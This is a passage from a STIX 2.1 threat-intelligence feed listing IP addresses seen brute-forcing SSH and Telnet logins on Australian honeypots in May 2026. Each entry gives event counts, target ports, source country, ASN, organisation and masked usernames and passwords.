      "pattern": "[ipv4-addr:value = '103.172.236.241']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T10:15:05.000Z",
      "valid_until": "2026-06-26T10:15:03.000Z"
    },
    {
      "created": "2026-05-25T10:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--ecab18df-4af7-4285-a540-e701d5fdf196",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T10:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '123.145.36.20']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T10:15:05.000Z",
      "valid_until": "2026-06-26T10:15:03.000Z"
    },
    {
      "created": "2026-05-25T10:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--61b441d1-3cca-4b7a-9f9c-920aeeeb3f81",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T10:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '125.119.236.207']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T10:15:05.000Z",
      "valid_until": "2026-06-26T10:15:03.000Z"
    },
    {
      "created": "2026-05-25T10:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 135918. Organisation(s): VIET DIGITAL TECHNOLOGY LIABILITY COMPANY. Usernames observed (masked): r**t, 3**********4, a***r, c****1, p******s. Passwords observed (masked): 1****6, ***, 3***********4, 3**********4, A*******3.",
      "id": "indicator--d482f643-aeef-4cdb-94cb-85ebb57f56a1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T10:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '161.248.146.224']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T10:15:05.000Z",
      "valid_until": "2026-06-26T10:15:03.000Z"
    },
    {
      "created": "2026-05-25T10:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CL. ASN(s): 264838. Organisation(s): INVERSIONES MYJ LTDA.",
      "id": "indicator--9e9cd0c3-78a5-42b5-aa17-4d6e70cb83c0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T10:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '170.239.190.107']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T10:15:05.000Z",
      "valid_until": "2026-06-26T10:15:03.000Z"
    },
    {
      "created": "2026-05-25T10:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AU. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--5d0ff20d-e80f-46df-ad97-54718799d9dd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T10:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '170.64.179.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T10:15:05.000Z",
      "valid_until": "2026-06-26T10:15:03.000Z"
    },
    {
      "created": "2026-05-25T10:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 18881. Organisation(s): TELEFONICA BRASIL S.A.",
      "id": "indicator--25816f52-cb77-4697-9d37-5f722b216940",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T10:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '177.40.18.83']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T10:15:05.000Z",
      "valid_until": "2026-06-26T10:15:03.000Z"
    },
    {
      "created": "2026-05-25T10:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 101. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: JP. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): c***d, 3**********4, ***, r**t, t**t. Passwords observed (masked): 3***********4, 3**********4, P******d, W*********7, ***.",
      "id": "indicator--5b1f7cb8-37f0-470b-8d9f-8e7a702a2f13",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T10:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '20.243.161.151']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T10:15:05.000Z",
      "valid_until": "2026-06-26T10:15:03.000Z"
    },
    {
      "created": "2026-05-25T10:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 30036. Organisation(s): Mediacom Communications Corp.",
      "id": "indicator--a6eed266-98c7-4e8b-91e2-219381799e5e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T10:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '50.80.59.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T10:15:05.000Z",
      "valid_until": "2026-06-26T10:15:03.000Z"
    },
    {
      "created": "2026-05-25T10:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 701. Organisation(s): Verizon Business.",
      "id": "indicator--6e95ab73-fdcc-43e7-87ed-d706cb084223",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T10:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '71.125.3.86']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T10:15:05.000Z",
      "valid_until": "2026-06-26T10:15:03.000Z"
    },
    {
      "created": "2026-05-25T10:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 20. Sensors involved: Cowrie. Target ports: 23. Source country: MK. ASN(s): 6821. Organisation(s): Makedonski Telekom AD-Skopje.",
      "id": "indicator--3048cdd7-ccfb-4d29-bbc1-a09bffd52727",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T10:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '77.29.221.32']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T10:15:05.000Z",
      "valid_until": "2026-06-26T10:15:03.000Z"
    },
    {
      "created": "2026-05-25T10:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 8560. Organisation(s): IONOS SE. Usernames observed (masked): c**l, t**n. Passwords observed (masked): t**n, w********2.",
      "id": "indicator--b7a73cf4-f525-4e2d-80bd-ced421a0c331",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T10:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '82.165.106.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T10:15:05.000Z",
      "valid_until": "2026-06-26T10:15:03.000Z"
    },
    {
      "created": "2026-05-25T10:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 22. Source country: UA. ASN(s): 211736. Organisation(s): FOP Dmytro Nedilskyi.",
      "id": "indicator--2a7e6953-10cb-489d-b6fb-0d09fbfed377",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T10:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '92.63.197.22']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T10:15:05.000Z",
      "valid_until": "2026-06-26T10:15:03.000Z"
    },
    {
      "created": "2026-05-25T11:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 17917. Organisation(s): Quadrant Televentures Limited.",
      "id": "indicator--e14e4165-cda8-44dd-9bad-e3a746e33740",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T11:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '124.253.219.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T11:15:11.000Z",
      "valid_until": "2026-06-26T11:15:08.000Z"
    },
    {
      "created": "2026-05-25T11:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 17. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4811. Organisation(s): China Telecom Group. Usernames observed (masked): c**l, t**t. Passwords observed (masked): P******d, w********2.",
      "id": "indicator--9dd32f73-09d6-41ea-be7c-17e373e90f87",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T11:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '14.103.114.218']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T11:15:11.000Z",
      "valid_until": "2026-06-26T11:15:08.000Z"
    },
    {
      "created": "2026-05-25T11:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--306cc263-0742-48b5-b0b7-32536f0f85af",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T11:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.147']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T11:15:11.000Z",
      "valid_until": "2026-06-26T11:15:08.000Z"
    },
    {
      "created": "2026-05-25T11:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: GB. ASN(s): 63949. Organisation(s): Akamai Connected Cloud.",
      "id": "indicator--3ed84a5d-239c-4c79-b023-28ad3b36678e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T11:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '172.237.118.249']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T11:15:11.000Z",
      "valid_until": "2026-06-26T11:15:08.000Z"
    },
    {
      "created": "2026-05-25T11:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TR. ASN(s): 34984. Organisation(s): Superonline Iletisim Hizmetleri A.S..",
      "id": "indicator--26fb39b5-6aa4-46f7-a539-e5d2a8a2bc1e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T11:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '176.233.247.17']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T11:15:11.000Z",
      "valid_until": "2026-06-26T11:15:08.000Z"
    },
    {
      "created": "2026-05-25T11:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 60729. Organisation(s): Stiftung Erneuerbare Freiheit. Usernames observed (masked): s***p. Passwords observed (masked): G**************5.",
      "id": "indicator--d0c3f54a-d7c4-4ae2-9794-774ea4ed57f0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T11:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.220.101.109']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T11:15:11.000Z",
      "valid_until": "2026-06-26T11:15:08.000Z"
    },
    {
      "created": "2026-05-25T11:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MX. ASN(s): 22884. Organisation(s): TOTAL PLAY TELECOMUNICACIONES SA DE CV. Usernames observed (masked): m*******t. Passwords observed (masked): m***3.",
      "id": "indicator--d2ec8dda-839a-4f62-aff3-e9e3f56ca5b2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T11:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '187.251.132.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T11:15:11.000Z",
      "valid_until": "2026-06-26T11:15:08.000Z"
    },
    {
      "created": "2026-05-25T11:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 6134. Organisation(s): XNNET LLC.",
      "id": "indicator--3caac48f-1e6b-41f9-8b9e-57afdd192a0b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T11:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '38.207.133.27']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T11:15:11.000Z",
      "valid_until": "2026-06-26T11:15:08.000Z"
    },
    {
      "created": "2026-05-25T11:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie. Target ports: 22, 80. Source country: SC. ASN(s): 210006. Organisation(s): Shereverov Marat Ahmedovich. Usernames observed (masked): a***n, s*****t. Passwords observed (masked): a***n, s*****t.",
      "id": "indicator--05ddb40e-d2af-4621-bb55-3317b1436a5f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T11:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.87.249.200']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T11:15:11.000Z",
      "valid_until": "2026-06-26T11:15:08.000Z"
    },
    {
      "created": "2026-05-25T11:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SE. ASN(s): 29518. Organisation(s): Bredband2 AB.",
      "id": "indicator--dca1de28-8179-4480-9236-574d0f67a7bd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T11:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '46.236.65.241']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T11:15:11.000Z",
      "valid_until": "2026-06-26T11:15:08.000Z"
    },
    {
      "created": "2026-05-25T11:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 284. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 38700. Organisation(s): SMILESERV. Usernames observed (masked): r**t, 3**********4, c***d, n****a, u**r. Passwords observed (masked): 3***********4, 3**********4, 1**4, 1*****., 1******r.",
      "id": "indicator--39cacbca-2bb3-4db7-9253-0d73fe626820",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T11:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '49.247.36.49']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T11:15:11.000Z",
      "valid_until": "2026-06-26T11:15:08.000Z"
    },
    {
      "created": "2026-05-25T12:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: RU. ASN(s): 41733. Organisation(s): JSC ER-Telecom Holding.",
      "id": "indicator--92ec77d7-4bd5-4bf9-b56c-9bb3d014337a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '109.167.249.94']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T12:15:10.000Z",
      "valid_until": "2026-06-26T12:15:08.000Z"
    },
    {
      "created": "2026-05-25T12:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4811. Organisation(s): China Telecom Group. Usernames observed (masked): r**t. Passwords observed (masked): 1****3.",
      "id": "indicator--07b1b17b-0324-4fc3-aa6a-7e4e68089089",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '14.103.118.167']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T12:15:10.000Z",
      "valid_until": "2026-06-26T12:15:08.000Z"
    },
    {
      "created": "2026-05-25T12:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 177. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): r**t, 3**********4, c***d, d*****r, u****u. Passwords observed (masked): 3***********4, 3**********4, 1***5, 1****!, U****u.",
      "id": "indicator--a3a98bd0-f1d7-4fdb-89f1-b7a0e01a3dbc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '183.104.26.197']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T12:15:10.000Z",
      "valid_until": "2026-06-26T12:15:08.000Z"
    },
    {
      "created": "2026-05-25T12:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FI. ASN(s): 39351. Organisation(s): 31173 Services AB. Usernames observed (masked): r**t. Passwords observed (masked): 5**************b.",
      "id": "indicator--f004f393-33cd-499d-8687-1153eef26f30",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.65.133.169']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T12:15:10.000Z",
      "valid_until": "2026-06-26T12:15:08.000Z"
    },
    {
      "created": "2026-05-25T12:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--56f2c538-acb3-46ec-9183-fdbe6afbb31d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '20.64.105.251']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T12:15:10.000Z",
      "valid_until": "2026-06-26T12:15:08.000Z"
    },
    {
      "created": "2026-05-25T12:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 249. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: LV. ASN(s): 41745. Organisation(s): Baykov Ilya Sergeevich. Usernames observed (masked): r**t, 3**********4, c***d, c**l, d****n. Passwords observed (masked): 3***********4, 3**********4, ***, 1**********b, P**********3.",
      "id": "indicator--2d37ce5b-90c3-4516-b2fe-ed27deb9acc3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '213.21.248.107']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T12:15:10.000Z",
      "valid_until": "2026-06-26T12:15:08.000Z"
    },
    {
      "created": "2026-05-25T12:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 15. Sensors involved: Cowrie. Target ports: 23. Source country: NL. ASN(s): 51396. Organisation(s): Pfcloud UG (haftungsbeschrankt). Usernames observed (masked): r**t. Passwords observed (masked): , r**t.",
      "id": "indicator--056fdb89-b67f-4ac8-9d45-9f82c727f2fc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.156.87.239']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T12:15:10.000Z",
      "valid_until": "2026-06-26T12:15:08.000Z"
    },
    {
      "created": "2026-05-25T12:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 142. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 210546. Organisation(s): Chsl One Ltd. Usernames observed (masked): 3**********4, d*******r, r**t, s***m. Passwords observed (masked): 3***********4, 3**********4, d****3, f********************@, r**t.",
      "id": "indicator--eb27507f-ea96-4c57-bcf3-e0b8f5648f33",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '77.239.106.153']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T12:15:10.000Z",
      "valid_until": "2026-06-26T12:15:08.000Z"
    },
    {
      "created": "2026-05-25T13:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 134756. Organisation(s): CHINANET Nanjing Jishan IDC network.",
      "id": "indicator--17ae42a3-4286-48fe-9ba9-c061676b04d9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T13:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '121.229.191.90']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T13:15:05.000Z",
      "valid_until": "2026-06-26T13:15:03.000Z"
    },
    {
      "created": "2026-05-25T13:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--45a62bb2-da23-45bd-883f-dea8ef196c51",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T13:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '138.68.243.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T13:15:05.000Z",
      "valid_until": "2026-06-26T13:15:03.000Z"
    },
    {
      "created": "2026-05-25T13:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 17816. Organisation(s): China Unicom IP network China169 Guangdong province.",
      "id": "indicator--97f88de9-fbee-43b2-9d32-45f5d134b132",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T13:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '157.18.76.81']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T13:15:05.000Z",
      "valid_until": "2026-06-26T13:15:03.000Z"
    },
    {
      "created": "2026-05-25T13:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 118. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, 3**********4, c**l, r****1, s**p. Passwords observed (masked): 1****6, 3***********4, 3**********4, Q*********!, f******************@.",
      "id": "indicator--2663a29c-bd3b-43f1-818a-4e4e816db8c9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T13:15:05.000Z",
